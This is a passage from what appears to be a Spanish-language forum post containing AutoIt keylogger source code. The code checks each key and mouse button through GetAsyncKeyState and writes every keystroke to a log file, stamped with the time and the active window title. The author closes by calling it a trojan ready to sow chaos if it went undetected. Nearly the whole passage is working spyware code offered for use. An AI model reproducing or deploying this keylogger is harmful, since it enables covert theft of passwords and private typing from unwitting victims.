ElseIf _IsPressed ('48') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("h") Else _LoggearTecla("H") EndIf While _IsPressed ('48') = 1 Sleep(1) WEnd ElseIf _IsPressed ('49') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("i") Else _LoggearTecla("I") EndIf While _IsPressed ('49') = 1 Sleep(1) WEnd ElseIf _IsPressed ('4A') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("j") Else _LoggearTecla("J") EndIf While _IsPressed ('4A') = 1 Sleep(1) WEnd ElseIf _IsPressed ('4B') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("k") Else _LoggearTecla("K") EndIf While _IsPressed ('4B') = 1 Sleep(1) WEnd ElseIf _IsPressed ('4C') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("l") Else _LoggearTecla("L") EndIf While _IsPressed ('4C') = 1 Sleep(1) WEnd ElseIf _IsPressed ('4D') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("m") Else _LoggearTecla("M") EndIf While _IsPressed ('4D') = 1 Sleep(1) WEnd ElseIf _IsPressed ('4E') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("n") Else _LoggearTecla("N") EndIf While _IsPressed ('4E') = 1 Sleep(1) WEnd ElseIf _IsPressed ('4F') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("o") Else _LoggearTecla("O") EndIf While _IsPressed ('4F') = 1 Sleep(1) WEnd ElseIf _IsPressed ('50') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("p") Else _LoggearTecla("P") EndIf While _IsPressed ('50') = 1 Sleep(1) WEnd ElseIf _IsPressed ('51') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("q") Else _LoggearTecla("Q") EndIf While _IsPressed ('51') = 1 Sleep(1) WEnd ElseIf _IsPressed ('52') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("r") Else _LoggearTecla("R") EndIf While _IsPressed ('52') = 1 Sleep(1) WEnd ElseIf _IsPressed ('53') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("s") Else _LoggearTecla("S") EndIf While _IsPressed ('53') = 1 Sleep(1) WEnd ElseIf _IsPressed ('54') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("t") Else _LoggearTecla("T") EndIf While _IsPressed ('54') = 1 Sleep(1) WEnd ElseIf _IsPressed ('55') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("u") Else _LoggearTecla("U") EndIf While _IsPressed ('55') = 1 Sleep(1) WEnd ElseIf _IsPressed ('56') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("v") Else _LoggearTecla("V") EndIf While _IsPressed ('56') = 1 Sleep(1) WEnd ElseIf _IsPressed ('57') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("w") Else _LoggearTecla("W") EndIf While _IsPressed ('57') = 1 Sleep(1) WEnd ElseIf _IsPressed ('58') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("x") Else _LoggearTecla("X") EndIf While _IsPressed ('58') = 1 Sleep(1) WEnd ElseIf _IsPressed ('59') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("y") Else _LoggearTecla("Y") EndIf While _IsPressed ('59') = 1 Sleep(1) WEnd ElseIf _IsPressed ('5A') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("z") Else _LoggearTecla("Z") EndIf While _IsPressed ('5A') = 1 Sleep(1) WEnd ElseIf _IsPressed ('20') = 1 Then _LoggearTecla(" ") While _IsPressed ('20') = 1 Sleep(1) WEnd ElseIf _IsPressed ('01') = 1 Then _LoggearTecla("{LMS}") While _IsPressed ("01") = 1 Sleep(1) WEnd ElseIf _IsPressed ('02') = 1 Then _LoggearTecla("{RMS}") While _IsPressed ("02") = 1 Sleep(1) WEnd ElseIf _IsPressed ('04') = 1 Then _LoggearTecla("{MMS}") While _IsPressed ("04") = 1 Sleep(1) WEnd ElseIf _IsPressed ('08') = 1 Then _LoggearTecla("{BS}") While _IsPressed ("08") = 1 Sleep(1) WEnd ElseIf _IsPressed ('09') = 1 Then _LoggearTecla("{TAB}") While _IsPressed ("09") = 1 Sleep(1) WEnd ElseIf _IsPressed ('0d') = 1 Then _LoggearTecla("{EN} ") While _IsPressed ("0d") = 1 Sleep(1) WEnd ElseIf _IsPressed ('10') Then _LoggearTecla("{SHIFT}") While _IsPressed ("10") = 1 For $n = 30 To 39 If _IsPressed ($n) Then If StringRight($n, 1) = 0 Then _LoggearTecla('=') ElseIf StringRight($n, 1) = 1 Then _LoggearTecla('!') ElseIf StringRight($n, 1) = 2 Then _LoggearTecla('"') ElseIf StringRight($n, 1) = 3 Then _LoggearTecla('#') ElseIf StringRight($n, 1) = 4 Then _LoggearTecla('$') ElseIf StringRight($n, 1) = 5 Then _LoggearTecla('%') ElseIf StringRight($n, 1) = 6 Then _LoggearTecla('&') ElseIf StringRight($n, 1) = 7 Then _LoggearTecla('/') ElseIf StringRight($n, 1) = 8 Then _LoggearTecla('(') ElseIf StringRight($n, 1) = 9 Then _LoggearTecla(')') EndIf While _IsPressed ($n) = 1 Sleep(1) WEnd EndIf Next If _IsPressed ('41') = 1 Then _LoggearTecla("A") While _IsPressed ('41') = 1 Sleep(1) WEnd If _IsPressed ('42') = 1 Then _LoggearTecla("B") While _IsPressed ('42') = 1 Sleep(1) WEnd If _IsPressed ('43') = 1 Then _LoggearTecla("C") While _IsPressed ('43') = 1 Sleep(1) WEnd If _IsPressed ('44') = 1 Then _LoggearTecla("D") While _IsPressed ('44') = 1 Sleep(1) WEnd If _IsPressed ('45') = 1 Then _LoggearTecla("E") While _IsPressed ('45') = 1 Sleep(1) WEnd If _IsPressed ('46') = 1 Then _LoggearTecla("F") While _IsPressed ('46') = 1 Sleep(1) WEnd If _IsPressed ('47') = 1 Then _LoggearTecla("G") While _IsPressed ('47') = 1 Sleep(1) WEnd If _IsPressed ('48') = 1 Then _LoggearTecla("H") While _IsPressed ('48') = 1 Sleep(1) WEnd If _IsPressed ('49') = 1 Then _LoggearTecla("I") While _IsPressed ('49') = 1 Sleep(1) WEnd If _IsPressed ('4A') = 1 Then _LoggearTecla("J") While _IsPressed ('4A') = 1 Sleep(1) WEnd If _IsPressed ('4B') = 1 Then _LoggearTecla("K") While _IsPressed ('4B') = 1 Sleep(1) WEnd If _IsPressed ('4C') = 1 Then _LoggearTecla("L") While _IsPressed ('4C') = 1 Sleep(1) WEnd If _IsPressed ('4D') = 1 Then _LoggearTecla("M") While _IsPressed ('4D') = 1 Sleep(1) WEnd If _IsPressed ('4E') = 1 Then _LoggearTecla("N") While _IsPressed ('4E') = 1 Sleep(1) WEnd If _IsPressed ('4F') = 1 Then _LoggearTecla("O") While _IsPressed ('4F') = 1 Sleep(1) WEnd If _IsPressed ('50') = 1 Then _LoggearTecla("P") While _IsPressed ('50') = 1 Sleep(1) WEnd If _IsPressed ('51') = 1 Then _LoggearTecla("Q") While _IsPressed ('51') = 1 Sleep(1) WEnd If _IsPressed ('52') = 1 Then _LoggearTecla("R") While _IsPressed ('52') = 1 Sleep(1) WEnd If _IsPressed ('53') = 1 Then _LoggearTecla("S") While _IsPressed ('53') = 1 Sleep(1) WEnd If _IsPressed ('54') = 1 Then _LoggearTecla("T") While _IsPressed ('54') = 1 Sleep(1) WEnd If _IsPressed ('55') = 1 Then _LoggearTecla("U") While _IsPressed ('55') = 1 Sleep(1) WEnd If _IsPressed ('56') = 1 Then _LoggearTecla("V") While _IsPressed ('56') = 1 Sleep(1) WEnd If _IsPressed ('57') = 1 Then _LoggearTecla("W") While _IsPressed ('57') = 1 Sleep(1) WEnd If _IsPressed ('58') = 1 Then _LoggearTecla("X") While _IsPressed ('58') = 1 Sleep(1) WEnd If _IsPressed ('59') = 1 Then _LoggearTecla("Y") While _IsPressed ('59') = 1 Sleep(1) WEnd If _IsPressed ('5A') = 1 Then _LoggearTecla("Z") While _IsPressed ('5A') = 1 Sleep(1) WEnd WEnd ElseIf _IsPressed ('11') = 1 Then _LoggearTecla("{CTRL}") While _IsPressed ("11") = 1 Sleep(1) WEnd ElseIf _IsPressed ('12') = 1 Then _LoggearTecla("{ALT}") While _IsPressed ("12") = 1 Sleep(1) WEnd ElseIf _IsPressed ('13') = 1 Then _LoggearTecla("{PAUSE}") While _IsPressed ("13") = 1 Sleep(1) WEnd ElseIf _IsPressed ('14') = 1 Then _LoggearTecla("{CAPSLOCK}") If $CAPSLOCKTOGGLE = 1 Then $CAPSLOCKTOGGLE = 0 ElseIf $CAPSLOCKTOGGLE = 0 Then $CAPSLOCKTOGGLE = 1 EndIf While _IsPressed ("14") = 1 Sleep(1) WEnd ElseIf _IsPressed ('1b') = 1 Then _LoggearTecla("{ESC}") While _IsPressed ("1b") = 1 Sleep(1) WEnd ElseIf _IsPressed ('21') = 1 Then _LoggearTecla("{PGUP}") While _IsPressed ("21") = 1 Sleep(1) WEnd ElseIf _IsPressed ('22') = 1 Then _LoggearTecla("{PG_DOWN}") While _IsPressed ("22") = 1 Sleep(1) WEnd ElseIf _IsPressed ('23') = 1 Then _LoggearTecla("{END}") While _IsPressed ("23") = 1 Sleep(1) WEnd ElseIf _IsPressed ('24') = 1 Then _LoggearTecla("{HOME}") While _IsPressed ("24") = 1 Sleep(1) WEnd ElseIf _IsPressed ('25') = 1 Then _LoggearTecla("{LEFT ARROW}") While _IsPressed ("25") = 1 Sleep(1) WEnd ElseIf _IsPressed ('26') = 1 Then _LoggearTecla("{UP ARROW}") While _IsPressed ("26") = 1 Sleep(1) WEnd ElseIf _IsPressed ('27') = 1 Then _LoggearTecla("{RIGHT ARROW}") While _IsPressed ("27") = 1 Sleep(1) WEnd ElseIf _IsPressed ('28') = 1 Then _LoggearTecla("{DOWN ARROW}") While _IsPressed ("28") = 1 Sleep(1) WEnd ElseIf _IsPressed ('2c') = 1 Then _LoggearTecla("{PRINT}") While _IsPressed ("2c") = 1 Sleep(1) WEnd ElseIf _IsPressed ('2d') = 1 Then _LoggearTecla("{INSERT}") While _IsPressed ("2d") = 1 Sleep(1) WEnd ElseIf _IsPressed ('2e') = 1 Then _LoggearTecla("{DEL}") While _IsPressed ("2e") = 1 Sleep(1) WEnd EndIf WEnd Func _IsPressed($hexKey) Local $aR, $bRv $hexKey = '0x' & $hexKey $aR = DllCall($user32, "int", "GetAsyncKeyState", "int", $hexKey) If $aR[0] <> 0 Then $bRv = 1 Else $bRv = 0 EndIf Return $bRv EndFunc Func _LoggearTecla($loggueo) $window = WinGetTitle("") If $window = $window2 Then FileWrite($log, $loggueo) Else $window2 = $window FileWrite($log, " " & "[" & [email protected] & "." & [email protected] & "." & [email protected] & " " & [email protected] & ":" & [email protected] & ":" & [email protected] & '] Window : "' & $window & '" ' & $loggueo) EndIf EndFunc Func Terminate() DllClose($user32) FileClose($log) Exit EndFunc [/color] Le pegamos una prueba, mientras escribo esto... Voilá! Trojano listo para sembrar caos! (si no fuera detectado)